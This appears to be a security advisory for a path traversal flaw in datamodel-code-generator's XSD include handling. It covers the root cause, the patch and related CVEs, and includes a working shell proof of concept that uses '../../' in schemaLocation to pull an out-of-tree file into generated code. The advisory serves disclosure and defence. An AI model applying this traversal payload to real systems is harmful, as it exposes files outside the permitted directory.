CVE-2026-55390: datamodel-code-generator XSD schemaLocation Path Traversal
When generating Python models from an attacker-supplied XML Schema file, datamodel-code-generator follows xs:include and xs:import schemaLocation paths without checking boundaries, letting an…

The problem
The XSD parser in src/datamodel_code_generator/parser/xmlschema.py resolves every schemaLocation attribute by joining it to the source directory and calling .resolve(), which collapses ../ and accepts absolute paths. There is no is_relative_to(base_path) guard, so any file readable by the process can be targeted.
The resolved file is read and parsed, and its type names, enumerations, and restrictions are folded into the generated Python module. This means file contents outside the project tree surface in output that may be logged, committed, or returned to users. No flag mitigates it: --no-allow-remote-refs applies only to JSON Schema $ref, not XSD includes.
Proof of concept
A working proof-of-concept for CVE-2026-55390 in datamodel-code-generator, with the exact payload below.
# Create a secret file outside the project directory
mkdir -p /tmp/x/secret /tmp/x/proj
cat > /tmp/x/secret/leak.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:simpleType name="LEAK_5150"><xs:restriction base="xs:string"/></xs:simpleType>
</xs:schema>
EOF
# Attack schema uses ../ traversal in schemaLocation
cat > /tmp/x/proj/attack.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:include schemaLocation="../../x/secret/leak.xsd"/>
<xs:element name="Root" type="LEAK_5150"/>
</xs:schema>
EOF
datamodel-codegen \
--input /tmp/x/proj/attack.xsd \
--input-file-type xmlschema \
--no-allow-remote-refs \
--output /tmp/x/out.py
# Type name from the secret file appears in generated output
grep LEAK_5150 /tmp/x/out.pyThe root cause is that (source_dir / schema_location).resolve() normalizes ../ and accepts absolute paths, producing a location that can point anywhere on the filesystem. The only guard was is_file(), which lets any readable file through. The patch adds an is_relative_to(self.base_path) check after resolve(), rejecting any target that escapes the input base directory.
This closes both the relative traversal (../../) and the absolute path (/abs/path/file.xsd) vectors. The advisory-confirmed PoC uses a sentinel type name LEAK_5150 to prove that data from the out-of-bounds file is incorporated into generated output, satisfying CWE-22 (path traversal) and CWE-200 (information disclosure).
The fix
Upgrade to datamodel-code-generator 0.62.0 (commit d2d5cecd9fd3a2a6dbf148bf0740b83a11fc6820). The fix rejects any resolved schemaLocation target that does not satisfy is_relative_to(base_path), mirroring the boundary check already applied to JSON Schema $ref. If upgrading immediately is not possible, avoid running the generator against untrusted XSD files.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 7.5CVE-2026-55389CVE-2026-55389: datamodel-code-generator Arbitrary File Read via JSON-Schema $ref
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type